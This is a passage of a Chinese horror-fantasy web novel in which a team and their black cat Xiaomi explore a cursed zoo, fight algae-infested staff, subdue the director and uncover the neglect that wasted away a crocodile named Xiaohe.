“就是什么,你快说啊!”张姐催促,忽然全身一震,慢慢低下头,一把雪亮的剑贯穿了她的胸口。她把头扭转一百八十度,通红眼睛往外凸出,震惊地看着孙菱,好像才刚刚发现她。 电光火石,同样一条漆黑的铁链缠上张姐的脖子,用力往后勒。 “杀了原来的管理层,自己上位,”夏炫在旁边笑着说:“姐您看,这就是能吸引游客的办法。” “咔咔。”被勒紧的喉咙只能发出短促的音节,张姐双手勒住铁链,用力挣扎,腿在地上蹬出一道道深而长的痕迹。 夏炫跑到一旁,拧眉担忧地看着战况。尘土飞扬,张姐显出了恐怖的力量,被刺穿喉咙,她的身上没有流一滴血,脸色笼上层死灰一样的白,力气大的惊人。 好在两个猎人能力能属强攻型,才勉强控制住了她。 孙菱把她的四肢切块,脑袋砍下,那颗脑袋还瞪着眼睛,尖声咒骂,直到被一块石头堵住嘴巴才安静下来。 “呼。”孙菱松口气,“一个普通的小管理就这么难杀啊。” “杀?”宋柏阴沉地看着地面。 张姐大卸八块倒在地上,断肢切口没有流血,反而长出一些密密麻麻的细小触须。 “这是什么?” 宋柏拿出匕首,挑了点触须,一块绿油油的东西覆在匕首上,有生命般的蠕动。 孙菱:“这不是肉吧,看着像某种植物。” 夏炫倒是认出来了,“澡类生物,我记得一些藻类会分裂增殖、断裂再生。” 孙菱意识到不妙,“所以她这是……” “再生。待会会有五个张姐来追杀我们了。” 他们把张姐埋在早就挖好的坑里,回到了宿舍。 “藻类?难道这些npc早就死了,只剩一副空皮,里面全是藻之类的水生浮游生物?”夏双双忍不住往后看眼员工,“我好像知道为什么萧向秦不带他们离开了。” 小咪在几个人的身上踩来踩去,当个毛茸茸的挂件。猫就喜欢不用自己动脑子出力,能够安心躺赢的鬼域,在人问它想要跟哪个队去时,小咪歪歪头,“喵呜~” 猫不要去冷库,冻脚。 “好,那闪电也和咪咪一起去园长办公室吧。” 夏双双提步,被闪电咬住了裤脚。 “汪汪。”小狗眼睛湿润,有自己的主意。 作为受过培训的特种犬,它的嗅觉灵敏,最适合在杂乱黑暗的仓库里搜寻线索。 人早就想到了这点,只是不愿分开小猫小狗。 但小狗有自己的觉悟。 “汪汪。”它轻轻叫两声,示意自己接受过训练,把牵引绳咬起来,递到夏双双的手里。 “那走吧,分开行动。”夏双双朝他们挥挥手。 园长办公室、管理层的宿舍都在他们签合同的小楼里。二层小楼,外面贴淡粉瓷砖,瓷上流淌不明的黏液与污垢。 联想到张姐身上的古怪,他们很快就想到,来时看见、随时可见的刺鼻黏液,就是这群披着人皮的浮游生物留下来的。 孙菱来到门前,紧闭的铁门上覆满淡绿色的胶状物质。她皱眉,“啧”了声,“好像一堆鼻涕。” “你这比喻太恶心了。” 宋柏戴上手套,试着推门,在手快要触碰到门上时,那堆胶状物质像沸腾一样蠕动,突然一滩绿鼻涕一样的物质弹起来,黏在宋柏的手套上,他的身体瞬间失去平衡,像在被一股巨力拖拽。 孙菱夏炫连忙拉住他。 门上的粘液快速蠕动,拉扯着他们,三个人一起使劲,却被拽得不停地往里拖。 小咪见状,急得喵喵叫,跳过来想咬住人的裤脚帮忙一起拔河。 “咪咪,别过来!”夏炫压低声音,说:“一碰上手就被黏住了,撒不开手。” 有个叫黄金鹅的童话,故事里人们一摸到黄金鹅,就会被它黏住,后面的人摸前面的人衣袖,同样也被紧紧黏住,最后一大串人黏成一串跑来跑去。 现在他们面对的就是这种情况,被胶状物质碰到后,宋柏的身体具有某种黏力,把他和孙菱紧紧吸附在一起。 门上的粘液下,隐约有一张张图案。小咪歪头辨认,在意识到那是什么后,尾巴砰地一下炸开。 是一张张人。 这个量词咪并没有用错,他们已经变成了一张张,被粘液拖着,紧贴在墙上,血肉被消化,只剩下张薄薄的人皮和残存骨骼,紧贴大门,记录着垂死的挣扎。 “喵!”小咪急得在地上走来走去,看着快要贴到门上的人。它想到什么,影子从地上捡起几块石头,丢向门上粘液。石头穿透粘液,发出闷闷的响声,嵌在绿黏液里。 宋柏顿时觉得粘液里传来的巨力松了些,对小咪喊:“猫猫,继续。” “喵呜!” 小咪搓搓爪子,跑到不远的绿化带里,这边做了一个景观,假山旁散落不少碎石。小猫一爪拍飞一颗石头,丢到门上,没多久,门上粘液密密麻麻都嵌满石子,三个人一起使劲,终于摆脱了黏液,摔倒在地。 “喵。”小咪马上跑过去,用头努力蹭人。 “咪咪真棒,踢得真准,以后足球赛派我们咪去,说不定能踢进世界杯。”夏炫揉揉猫头,欣慰地说。 小咪跳到他的腿上,踹起爪爪,抬头看自己的成果。 黏液上布满碎石,坚硬的石块慢慢陷入绿胶中,只一两分钟,就被融化得什么都没有了。 “喵呜?”该怎么进去呢? 猫会爬墙,但小楼的窗外都有一层铁网,猫就算爬上去,也没办法从狭小孔洞往里钻。 “难怪要布这么多防盗窗了,不仅是怕那些猛兽来袭,还怕员工们找他们算账吧。”站在楼外,小楼就像一座坚实的堡垒,隔绝了内外,夏炫一边吐槽一边站起来,从口袋摸出一个东西,“试试这个。” 在埋下张姐时,他顺手从女人身上摸到了一张员工证。将员工证挂在身上后,黏液不再表现攻击性,夏炫先用了根树枝戳戳,确定不再会吸人后,为几人推开了门。 小楼里的瓷砖上同样湿漉漉的,布满绿色黏液。 他们小心避开这些东西,先来到张姐的房间。张姐的宿舍狭小,只有一间卧室,一间卫生间。当然,比起集装箱里的员工,单独卫浴卧室已经是条件非常好了。 小咪嗅来嗅去,来到卫生间门口,它低下头,鼻子轻嗅着,一股潮湿而有刺激性的气味从里面飘了过来。猫躺下来,脸贴着地,透过门缝往里看。 一片黏稠的绿挤入小猫的视线里。 “这里有一张鳄鱼的照片,咪咪,来认一认是你看到的那条吗?”夏炫对它喊。 小咪回头,几步跑到书桌,轻松跳到桌面,低头仔细辨认人手上拿着的照片。照片是纸制的,颜色黑白,像色彩暗淡的遗照,里面的鳄鱼体型很大,健硕,圆滚,十分健康。 不太像。 小咪的尾巴缠住人的手腕,喵喵叫两声。 咪看见的鳄鱼,比这条要瘦很多,但是也很长、很大。空有一副又大又长的身体,身上却没有什么脂肪,像个空空的口袋。 “不是这一条?”孙菱怔住,“难道动物园还有两条鳄鱼” 夏炫摇头,“可能性很小,雄鳄鱼极限体型可能长到六七米,但这是极少数个体,一般来说正常体型不超过五米。一条这么大,身长快六米的鳄鱼很罕见,不管在哪个动物园,都应该是宣传保护的重点。一条就够稀有了,基本不可能同时出现两条。” “可是咪咪说,它看见的鳄鱼很瘦。” “不一定是同一个时期。”宋柏指出,“可能这张照片,是它很久以前的样子。现在它或许已经到了老年,食欲不振,快要死了,所以才变成一副骨架子。” “湾鳄寿命很长,它从照片这么圆滚滚的胖鳄,消耗到小咪看见的那样,至少得要大几十年吧。这动物园看起来不像那么久之前的,”夏炫把照片叠起来,“这是一张报纸剪下来的照片,我们再找找报纸。” 他来到卫生间门口,犹豫片刻,拿起一把椅子,轻轻推开门。 第110章 推开门的瞬间,就算大家已经做好心里准备,还是被眼前景象吓一大跳。 浴室的浴缸里泡着一池幽绿的水,瓷壁黏液滴答,绿色的藻类在水里幽幽发光,水中泡着一具呈巨人观的尸体。 “这是张姐?” 在他们惊讶时,尸体忽然坐了起来,正对他们,眼眶里没有眼珠,而是装着腐烂浑浊的绿液。 几人连忙做好防备。 但尸体并没有过多动作。 小咪不明白这幕的惊悚之处,几下跳到人的头顶,歪头看,“喵呜?” 猫和她打招呼。 张姐的皮肤在蠕动,就像皮下有很多小虫子爬过,泛起波浪一样流水的波澜。 很快猫意识到, 张姐已经死了,被绿色的浮游生物啃噬一空, 这些东西钻入她的毛孔, 代替她, 组成她的血肉。 “喵呜。”小咪跳到了洗手池上。 “咪咪小心,”夏炫紧张地说:“别碰到这些水。” “喵!” 猫知道的。 地上绿液弥漫,器具也潮湿而粘稠, 小咪甩了甩前爪, 观察周围, 在尸体旁边, 有一个牛皮小册子。小册子放在浴池窄窄一厘米的边缘,摇摇欲坠,稍微一点动静, 都会打破平衡, 它专注地盯着小册子,身体伏低,屁股扭动。 孙菱小声问夏炫:“咪咪还能跳扭臀舞啊?” 本来心悬在半空的夏炫:“……” 什么鬼扭臀舞? 你到底是不是合格的铲屎官啊? 他对上孙菱茫然的眼神,解释道:“猫在捕猎的时候,会扭动屁股,来让两条后腿积蓄力量,这样能让它积攒爆发力,也能让起跳更灵活。” 孙菱若有所思点点头,“小咪的扭臀舞也怪可爱的。” 夏炫拍了拍额头。 得,白说了。 但确实怪可爱的,他家小猫干什么不可爱。 小咪扭几下屁股,突然起跳,身体拱成弓形,像一个爆炸的黑抹布头,在空中跃出一个完美的抛物线,准确落在浴缸上。 微小的动静让小册子往池水里掉。 小咪用爪爪扣着浴缸,脑袋往下一伸,叼起了册子。 “咪咪真棒!”门口人类在为它欢呼。 “哼咪。”小咪嘴里叼着册子,不能张口,把小脑袋和尾巴高高扬起,喉咙里发出骄傲的哼声。它顺着原来路线,起跳到洗手池,再跳到人的脚下,把册子放在地上。 宋柏戴上手套,打开册子,“这是小河的身体数据。” “小河是x017年送到这家动物园的,当时它的体重大概是900公斤,身长超过五米半,三十五岁,是世界最大的纯人工饲养鳄鱼。送过来后,数据上显示,它一年比一年瘦,最后数据记录结束的那年是x023年,之后就不再有数据了。” “也就是说,从照片里那头鳄鱼王,变成小咪看见的鳄鱼骨架,只用了五六年?”夏炫皱眉,“但是谢临风告诉我,鳄鱼明明是免疫力超强,在人工饲养下能活到一百岁的。加上六年,这条鳄鱼才四十一岁,正值壮年,就这么死了?” 宋柏“嗯”了声,把牛皮册也放进文件袋,“去管理员房间。” 冷库管理员也已经外出,他们进入房间一番搜寻,在他的垃圾桶里,找到了一个揉皱的纸团。打开纸团,是一张建议信。 信件是爱好动物的热心市民写来,提出动物园对各种动物饲养条件的不达标之处,希望园方能进行整改。 垃圾筐里有一个个纸团,市民们一字一句写下的书信、对动物的爱,都被当成垃圾随意丢弃。 “这动物园也……”孙菱没憋住,吐了句脏话,“真不是东西!” “找到了,这里面有提到小河。”夏炫打开了一个纸团。 垃圾桶里装的信件,大部分都是为一些常见动物发声:拔秃自己羽毛的鹦鹉,在狭窄笼里不停转圈的老虎,用头反复撞墙壁的瘦熊。 比起这些动物,鳄鱼显得冷酷又不讨人喜欢,一身铠甲似的厚皮遮住它的变化。除了爬行类动物爱好者外,鲜少有人能察觉到它的虚弱。 但还是有人提出疑问。 “比起去年,小河今年看上去更瘦了,是错觉吗?” “今天小河的头被小朋友丢的石头砸破皮了,都流血了,麻烦想一想办法吧。” “鳄鱼的池子太浅了,里面浮着很多垃圾,我还经常看见散养的孔雀在它的池里拉屎。” …… 之前都是些游客零星的抱怨。 从这些抱怨中,也能拼凑出小河的遭遇。 孙菱又翻开一封信,“这个说得好专业。” 这封信是一位爬行类动物爱好者写的。在信中列举饲养鳄鱼应该达到什么标准,以及动物园的不合格处。 孙菱看不懂专业的数据,认真扫过,忍不住笑了,“没一个合格的啊,怎么做到的?” 水位常年不够,所以巨大的体重压迫内脏。 水温总是不达标,尤其是冬天,水中没有加热设施,所以赤道来的动物被迫泡在冰冷的池水中,消耗许多脂肪才能维持体温。 与孔雀散养在一起,导致水质浑浊,小河泡在一池鸟屎里,微生物不断侵入它的身体,破坏它的免疫系统。 身体出现多处伤口腐烂,以鳄鱼强悍的自愈能力,却迟迟没有愈合,说明它已经快油尽灯枯。 …… 本来夏炫疑惑,鳄鱼是这样强悍的动物,自然界的王者,动物园饲养的要求也不算苛刻,怎么短短五年,就养成这样一副骨架子。 但看完这些信后,他不禁感慨,不愧是身体素质极强的动物,居然能在这种恶劣环境中,撑了五六年。 “幸好它之前有被养得健壮浑圆,不断消耗身体储备的脂肪续命,只是到五六年的时候,脂肪和肌肉都快消耗完,小河只剩下一张鳄鱼皮,包着一副骨架子,才快撑不下去了。” “这样看,我们员工的生活环境,在动物中还算不错的了。” 夏炫叹口气,“小河处的饲养环境比其他动物更加恶劣,但为它发声的人并不多,很早以前就陆陆续续一直有游客写信,也没得到特别的重视,为什么?” 孙菱想了想,“因为它不可爱?在大家的刻板印象里,鳄鱼是凶残的冷血动物,所以不能引起人们的同情。” 夏炫叹口气,“动物园的存在,就是为了聚集一堆符合人类审美的动物,让它们卖萌吸引流量吗?” 孙菱耸肩,“你别问我,我可不知道,我一个穷鬼哪有心情去动物园?” 宋柏在宿舍找一圈,确认不再有线索,对他们说:“现在要确认的是,小河还活着吗?如果活着,在哪里?如果死了,尸体在哪里?” 夏炫摇头,“比起这个,还有一点。小河被圈养长到了三十六岁,身体状况良好,被养得圆滚滚的,为什么会送到一家这种条件的动物园?” 想要找到答案,只能继续往上走。 孙菱和宋柏藏在门后,夏炫调整状态,敲响园长的门。 “谁?” “喵呜~”不等夏炫开口,他头顶的小黑猫就迫不及待扯开嗓子叫。 “你们来干嘛?”园长声音听上去有些慌乱。 小咪抬起爪子,把门挠得哗哗响,“喵!喵!喵!” 让猫进来,让猫进来。 “谁让你们来这边的?”园长又问。 夏炫:“是张姐让我们来的,园里出了问题,需要您处理。” “什么问题……难道是他们来了?” “咪?” 他们? 小咪歪了歪头。 园长继续说:“他们就是一群闹事的,想把事情闹大,你别管!” 夏炫眼珠子一转,猜到“他们”的身份,“可是他们说,如果您不出面,就要把我们举报到上面,而且在网上,他们也发了各种视频帖子,对我们大肆贬低,现在舆论一边倒,对我们很不好啊!” 孙菱悄悄朝他竖起大拇指。 园长大怒:“真是岂有此理!这是家私人动物园,所有的动物都是我的私有财产,他们凭什么指手画脚?” 夏炫心里骂他一声,嘴里却不停拍马屁,“对啊对啊,不要对别人的财产占有欲太强,您愿意给动物一口肉那是园长您心好,关他们什么事?再说,就是一个畜生而已,值得这样兴师动众?但是……”他话锋一转,问:“他们就堵在园里,影响了我们,该怎么办呢?” 门后传来窸窸窣窣的声音。 孙菱和宋柏放缓呼吸,握紧武器,只等待门开时园长一冒头,就将他制住。 然而,过了好几分钟,门一直没有开,窄窄的门缝里,递出一张小纸条。 小咪歪头看纸条,用它的小脑袋努力认字。 “已知悉,会整改,鳄鱼需要冬眠,请勿打扰!” 小咪:“喵?” 它记得信上说过,湾鳄来自热带,是不需要冬眠的动物。 园长伸出根手指,把信往外推,推出信后,眼看他就要缩回手。小咪眼疾爪快,伸出爪爪,指甲勾住了他的手。 “哎哟。”园长痛呼一声。 “喵!” 人,快来帮忙。 见状其他几个人也按住了园长的手,把他往外拔。门缝只有一两厘米,园长的身体像一滩液体,被迫从门缝下挤了出来,手臂变得扁扁的,像纸一样。 “啊!”他破锣一样的嗓子发出惨叫,“我给你们开门,别拉我,别拉我!” 门猛地被打开,三个人跃入门中,瞬间制住瘫坐在地的园长。 园长哭丧着脸,“我早猜到,你们和他们是一伙的!” “他们?动物保护者,为小河维权的人?” 园长用力点头,“对啊,你们也太过分,堵在门口示威就算了,还混成员工钻进来,幸好我早就做了准备。” 夏炫嗤了声,园长没意识到自己同样是被关起来的动物,真把自己当园长了? “我问你,小河呢?” 园长梗着脖子,“小河不就在那里,我们都配合你们救治了,你们怎么还不依不饶?” “救治?”夏炫本来以为小河已经油尽灯枯死去,听见这两个字,心中不禁升起微弱的希望,“怎么救治的?” “喵呜。”小咪用爪爪把园长办公桌上的文件推到地上,从其中叼出一页,跑向了人类。 鳄鱼很少生病,生命力太强,鲜少有救治的经验,因此,在对鳄鱼的救助上,也磕磕碰碰的。 但不难从文件看出,大家都在努力,使劲想将小河救回。 当然,主要的救助出力方并不是园方,而是园长口中多管闲事的“他们”。 看到最后一行,夏炫的视线凝固了。小咪好奇地将头伸过去,在最后一行上,写着“它的身体正在腐烂,谁也救不了它”。 它内里的肉与内脏正在腐烂,就和张姐园长他们一样,外表看起来正常,但其实只剩一具空壳了。 “喵。”小咪跑到了办公桌的桌脚,注意到桌脚同样垫着一张折起来的纸。它拍拍办公桌,挪开桌子,把纸张叼出来。 这是张陈旧泛黄的报纸。 “鳄鱼王小河将送往大陆!两岸人民情谊的象征!” “场主挥泪告别,要保重哦,小河。” …… “小河是被送过来的,主人喂养了它三十六年,饲养条件不大标,被动保组织举报。他以为把小河送给动物园,能让它过上更加幸福的生活。” 然而,主人的殷切愿景,两岸人民的情谊象征,就当作一张废纸,被拿来给办公桌垫脚。 “小河的尸体在哪里?”孙菱召出白虹贯日,利剑悬在园长的喉咙上。 园长无视利刃,站起来,烦躁地踱步,“一条鳄鱼,也不是什么了不起的东西,畜生而已,至于这样吗?” 趁大家不注意,他突然跳起来,拽开椅子,按下被椅背遮盖的按钮。 “叮叮叮。” 动物园响起了闭园的音乐。 ………… “鳄鱼是生命力非常顽强的动物,”谢临风用手电照着冷库,和夏双双说:“甚至可以说不会衰老,连癌症也不怕,有的一百多岁还生龙活虎。” 夏双双“嗯”了声,手电光线扫过昏暗冷库,冷库空间比她原以为的要大,光线尽头是片望不见的黑。 谢临风叹口气,心情低落地说:“所以一条这么长的鳄鱼王,变成咪咪看见的样子,肯定经历了很多折磨。但是,它没有办法说话,也无法表现出表情,连动作也慢吞吞的,显现不出自己的痛苦。” 夏双双皱了下眉,凝视光线一角,快步走过去。没走两步,她身体轻晃,捂住了头,一股困意涌了上来。 “叮叮叮。” 欢快的闭园音乐传遍整个园区。 “糟了。” 闭园音乐响起,所有的食人猛兽都会跑出来,而他们没办法回到宿舍睡觉。 整个动物园将会变成一个血腥的屠宰场。 110-120 第111章 一阵眩晕涌上小咪的脑袋。它打了个哈欠, 身体软得像面条,在地上东倒西歪地走,四条腿各走各的。 “喵呜。”小咪一头撞在了墙上, 用力晃脑袋,回头往后看,几个人身形摇晃, 同样被音乐弄得昏昏欲睡。 宋柏把匕首在手上割一刀,用剧痛强迫自己保持清醒,他快速拿出几对耳塞,丢给另外两个人。 戴上静音耳塞,阻隔了闭园音乐,孙菱冷哼一声,控制白虹贯日追杀逃跑的园长。 “喵呜。”小咪朝人叫。 猫也要戴耳塞。 夏炫拿着耳塞比划比划,声音含着歉意, “咪咪,好像没有你能用的尺寸。” “喵呜。”小猫困得微微眯起眼睛。 夏炫一把抱起它, 把猫柔软的身体拢在怀中, 轻声说:“没事的, 如果你做噩梦了,我就把你摇醒来。” “喵。”小咪把头枕在他的手臂上,爪爪抱住他的手。 夏炫怀里抱一只熟睡的小猫, 都不敢做大动作, 轻手轻脚地来到走廊。 长廊上, 宋柏用黑绳困住园长, 孙菱跟上,白虹贯日死死把他插在地板上。 园长肥大的身躯像气球一样变扁,黏液从眼鼻耳嘴里喷出,朝着他们咧嘴笑。 “它们都跑出来了。”夏炫透过铁网往下看,一只只猛兽逃出牢笼,在园中游荡。幸好这栋楼防护严密,拦住这群穷凶极恶的猛兽,但同样意味着,这栋楼成为一座孤岛,他们没办法跑出去,和夏双双失去联络。 正想着,铁钩一样的爪子从铁网伸进,差点勾瞎他的眼睛,一只巨大的金雕停在网上,倏尔又振翅飞起,扇起的大风吹得他往后退了半步,下意识用另一条手臂护住怀中小猫。 小猫用后爪蹬了下他的手臂,似乎梦见什么,后爪时不时弹动。 夏炫忍不住低头,亲了亲它的额头,见它睡得安详,就把小猫揣在了怀里,用衣服兜住它柔软滚热的小身体。 “杀了他?”孙菱嫌弃地看着园长,问。 夏炫摇头,“杀了他,他也会像孙姐一样分裂吧,他们都不算人了,我们没办法真正杀死他。” “那要怎么办?”孙菱的剑悬在园长脖子上,想起看见的那一封封游客来信,很想直接砍下去。 夏炫转身看着窗外,一只巨虎蹲在花园里,嘴巴里叼着半截身体,他抿嘴,心沉下来,看来园里的员工也已经遇害。 闭园音乐突然响起,他们来不及跑回宿舍,被倾巢而出的野兽撕碎。 既然音乐是控制闭园开园的开关,对应的,应该也有一个让猛兽回笼的开园音乐。 他转身问园长,“开园音乐的开关在哪里?” 园长咧开嘴朝他们微笑。 宋柏:“从他嘴里问不出什么,把他丢出去喂野兽。” 园长脸上的笑容凝滞。 夏炫注意到他的表情变化,再一看铁丝网,恍然大悟:不管出于什么原因,园长肯定很忌惮被关在笼里的猛兽,所以才在自己住的地盘做这么多的防护。 “来来来,拽着丢出去。”他伸手去抓园长。 孙菱拍落他的手,“你抱好小咪,别让咪掉下来。” 夏炫比了个行的手势,专心给小咪当奶爸。 把园长拖到门口,他终于露出怯色,大声喊:“你们不想知道怎么让它们回到笼子里吗?” 夏炫:“反正开关就在这栋楼里,把你推出去,我们慢慢找就行了。” “没有我带着,你们找不到的!” 孙菱不耐烦地捅他一刀,“别和这人渣废话,我看他不爽很久,直接丢出去!” 夏炫犹豫了下,“万一让野兽回到笼子里的开关,真的藏在很隐蔽的地方呢?我们暂时安全,可夏队和谢临风还在冷库里。” “对啊对啊,还是可以好好谈的嘛。你带我回办公室,开关就在那里。” 几个人对了个眼神,正想转身,夏炫突然“哎”一声,“咪咪,你醒啦。” 小咪在夏炫怀里伸个懒腰,“喵喵喵!” 没有开园音乐。 天亮了,它们就会回去。 这两天猫都早早醒来,咪清楚这一点。 “这些野兽会直接在外面徘徊,一直到第二天天亮?”孙菱嘶了声,让白虹贯日拽住园长的脑袋,另只手拉开门,把他直接丢出门外。 园长刚摔在地上,就吸引来刚才天上的金雕。 金雕俯冲,铁钩爪子勾住园长的头皮,把他吊了起来,但没飞多高,他的身体便直直地往下坠,摔在地上,深绿色的黏液从人皮的缝隙中渗出,在往小楼的方向涌动。 但还没有爬到门缝,胶状人形就被飞来的巨虎扑倒。 小咪趴在门口,透过门缝专注往外看,那头橘色大猫察觉到它的目光,大爪子按住猎物,朝它大声哈气。 “哈!” “哈——!” 一门之隔,两只猫科动物凶狠哈气,毫不示弱。 夏炫焦急地往外看,“不知道闭园音乐响起时,夏队他们有没有及时关闭冷库铁门。” 如果关上门,应该也能抵挡园中的野兽。 孙菱:“我们该怎么出去?” “在这里等一个晚上,”宋柏说:“明天早上,野兽回到笼子,我们也可以出去了。” 他们回到园长的办公室,夏炫把废纸揉成团,丢在地上。纸团骨碌碌从小猫面前滚过,咪马上瞪圆眼睛,伏低身体,跟着球的后面跑。追上纸团后,小咪用爪爪一拍,把纸团拍飞,在地上翘起尾巴跑来跑去,自己踢球追球玩。 “真好养啊咪咪。” 只要给小猫一个纸团,它就能自己开心玩半天。 “喵呜。”小咪玩累,趴下来,前爪抱住自己的纸团,将下巴搁在上面,“喵——” 刚才咪做了一个梦。 小咪认真对人说。 夏炫:“梦见那头老虎在追你?” “喵呜。” 这次小猫的梦里依旧是一片森林,茂盛、翠绿,参天大树撑起浓密树冠,绿色的浓云连成一片,遮天蔽日。 小咪听见哗哗流水声,钻过盘根错节的树根、疯涨荆棘,顺着山坡往下滚了几圈,低头看见自己圆圆的脸。 宽阔河面出现在猫的面前,爪下的泥土柔软而湿润,河面浮着浮木与树叶,阳光拂过,水液泛起金色微澜,像泼了一层油。 河水静谧地流过森林。 在水边,小咪并不觉得危险。 危机四伏的森林就在身后,它却感觉自己来到一片无比舒适安全的地方,就像在室友的被窝里,在爷爷奶奶的沙发上。 “河流?我在森林被追杀的时候,也好像听到水声。” 但梦中的记忆很模糊,醒来以后便如潮水飞快褪去,他的语气不太确定,抓了抓头发,“难道我们的梦境是连起来的,虽然在被不同野兽追杀,可其实是在同一个地点。” 孙菱:“那不就和大逃杀一样,我们在一张大地图上,河流旁是安全区?” “为什么河流边是安全区?” 在玩纸团的小猫抬起头,朝他们软软叫了声,“喵呜。” 猫知道,因为那里是小河的家。 “对,”夏炫一拍脑门,“河流湿地是小河的栖息地。晚上我们以为被猎杀的噩梦,其实是回到了自然里。” 孙菱听得头大,“啥?” 夏炫:“从最开始就有暗示,我们以为自己是动物饲养员,是喂养这群动物的人,但其实我们也同样是被关在园里的动物,而且在食物链的底端。” “你说直接点,”孙菱挠头,“所以呢?” “所以我们要跳出人的视角来看这个鬼域,在鬼域里,我们是被困在动物园的猿猴。只有夜晚的梦里出现的森林,才是自由所在,是我们和这群动物们真正的家。鬼域的出口就在我们的身边啊!就在梦里那片森林中,如果加上和小河之间的关系,应该在那条河的附近。” 夏炫越来越激动,“所以队长他们就顺着河找到出口,离开了鬼域,运气好点,在鬼域被追杀的时候就能碰见河流。小河想要回到小河,这才是鬼域的关键,动物园根本不是家!” 宋柏沉声说:“还有一点,在梦里不能被野兽抓到。” 夏炫点头,想到了园里的员工,“对……我们现在躺着睡觉,去梦里找河流?不行,夏队他们还困在这里,不知道他们怎么样?” “喵!”小咪跳到他的鞋子旁,端正坐好,仰头朝着他叫。 “咪咪,”夏炫收起愁容,半蹲下来,微笑着问:“怎么啦?” “喵。” 猫可以出去看看。 夏炫:“不行,外面太危险了。” 小咪:“喵!” 猫可以悄悄在树上移动,从一棵树跳到另一棵树,谁也不会看见。 夏炫:“但还是有可能会被发现。” 小咪:“喵!” 人,请注意,猫并没有征求你的同意。 猫只是通知你一声。 第112章 小咪钻过出口。 人为它在铁网上剪了个猫洞, 拳头大一个小洞,恰够猫挤出去。 咪的身体柔软得像水,脑袋和身体成功通过猫洞, 在滑到肚子位置时,腹部的原始袋挤在铁网处,它憋了口气, “喵呜”一声,后爪用力一蹬,跳出猫洞。 铁网夹了几根黑毛。 它舔舔自己的肚子,跳到树上,动物园植被繁茂,猫从一棵树跳到另一棵树,遇到无树可跳的情况,就藏在灌木丛中, 匍匐前进,悄悄往前走。 猫是隐藏行踪的天然好手,它的体型又很小,缩在树影里,小小的一团,悄无声息地从野兽身边经过。 就算野兽鼻子灵敏,嗅到点猫味,小咪也会用能力覆在石头上,丢出几块石头,吸引走它们的注意。 但小猫的步子迈得小, 花费半天时间,也只跨越半个动物园。它趴在树枝上,累得吐出舌头轻轻喘气。 路上闪过几个人影。 “喵?” 小咪好奇地探出脑袋。 这几个人没有穿着代表动物园的蓝马甲,像是游客。野兽们从他们身边穿过,对他们视若无睹,他们也毫无恐惧表情,似乎看不见自己面前游荡的恐怖野兽。 小咪歪歪脑袋,等那只花豹走远,跳到树下,对着他们叫。 “喵。” “咦?哪里来的小猫?”一个年轻人蹲下来,摸了摸小咪的脑袋。 为了不吓到他们,小咪让自己的影子出现,少女把猫抱起来,对他们说:“我是动物园的员工,你们是谁?” 年轻人在听见她的话后,表情变得警惕,“动物园的员工,以前没有见过你。” “喵是新来的。”少女一双猫儿眼圆圆的,脸上没有表情,认真地说:“刚来两天,你们是谁?” 她长得太可爱,让人很难对她生出讨厌之类的负面情绪。当人类凝视她时,就会像看见小猫一样,心里会忍不住产生溺爱怜惜之类的情感。这感觉毫无由来,就好像造物主的偏爱。 年轻人卸下防备心,“我们是为小河来的。” 小咪:“你们就是园长害怕的人!” 他微微一怔,露出笑容,“没错,我们就是园长害怕的人。” 这一行人中包括有给园长写建议信的游客,爬行动物爱好者,媒体人,以及来给小河送设备的热心市民。 “快入冬了,小河身上没有多少脂肪,很大可能熬不过这个冬天,这些都是我们买的保暖设备,想给它加上。但园长不配合,我们只能闭园后才能进来。喵喵,你知道小河在哪里吗?” 小咪摇头,忽然想到园长说的话:“他说小河在冬眠。” “胡说八道。”年轻人脸上露出几分怒意,“小河才不需要冬眠,哎,我们要快点找到它。喵喵,”他瞄眼小咪胸口挂着的员工证,“你知道什么线索吗?” 小咪歪头思考,忽觉后脊一阵腥风飘过,它纵身跳起来,扑到年轻人的怀里,回头往后看,那头巨虎鼻喷腥气,悄无声息出现在它身后,就差一点就将它一口吞下。 见小猫跳到人的怀里,老虎伸出舌头,舔了舔鼻子,显得有些遗憾没吃到猫肉。 “小猫怎么这么热情?”年轻人高兴地将它搂着,乐意充当它的坐骑。小咪趴在人身上,巨虎也没有走,停在这群人旁边,它的骨架极高,到人的肩膀,大鼻孔喷出的热气时不时拂过小咪的身体,吹动它身上的长毛。 对峙了一会,小咪发现,自己骑在人的身上,这些野兽们便只在旁边蹲守,不会扑上来。而抱着自己的人……它抬起小脑袋,仰头看着抱住自己的人,在他的眼睛里,看不见那头凶狠的猛兽。 这些人是对小河流露过善意的人,所以在鬼域里,野兽不会攻击他们。 它想明白后,两只爪爪抱紧年轻人的手臂。 那人也高兴地抱紧它,“咪咪好亲人啊。” “别沉浸撸猫,”记者提醒他,“我们得快点找到小河。也不知道……唉,小河还在不在。” “咪!”小咪的耳朵抖了抖,尽量无视身边虎视眈眈的眼神。在动物园里,它们在笼子里没有看见小河,小河在哪里呢? 它冷不丁想起园长那句:小河在冬眠。 冬眠? 它想起那枚被丢在冷库的徽章,瞪圆眼睛。 或许,园长没有说谎,小河是在一个寒冷的地方,陷入了永远的冬眠。 它扒拉着人的手臂,“喵喵喵喵喵!” ———— 冷库中冰冷刺骨。 员工缩起脖子,和夏双双他们一起在仓库寻找。 闭园音乐响起时,夏双双谢临风马上想到会发生什么,飞快跑到门口,但还没跑到门边,身体就已经不受控制地倒下,困意涌上来,脑子里挤满浆糊,生理性的泪水从眼眶中流出。 这时,戏精从谢临风的口袋里钻出来,“啊要死要死!啊要死要死!” 它扑棱翅膀,尖锐的声音凿进谢临风耳朵里,把他吵得一机灵,“戏精,快啄我几下。” 戏精听话地抓住他的耳朵,低头,能破开核桃的喙在他脸上狠狠啄了几下,啄得谢临风跳起来,痛得骂:“你也别真把我当核桃凿啊。” 戏精爪子扯住他的头发,低头哐哐啄,啄走他的困意。他爬起来,用力把门关上,闪电飞扑到门外,咬住一个倒地求救的员工,他顺手把人给拉了进来。 冷库门隔音效果极佳,关上门后,音乐对他们的影响微乎其微,连睡过去的员工也清醒过来,坐起来揉了揉眼睛。 夏双双:“是你?” 谢临风也愣了下,拍了拍脑袋。 他拉进来的不是别人,是柴刚捷。当时情况太紧急,他只来得及救一个人,顺手把伸手求救的男人拉进来,甚至没注意到他的脸。 柴刚捷不是好人,但总不能见死不救。 谢临风叹口气,警告他:“你别恩将仇报坑我们,要是再像前天那样,我不会对你客气的。而且,”他停顿了一下,苦口婆心地劝:“园长也没把你们当人。” 这个时候打开闭园音乐,显然是想用员工们喂饱这些野兽,也不知道咪咪那边发生了什么。 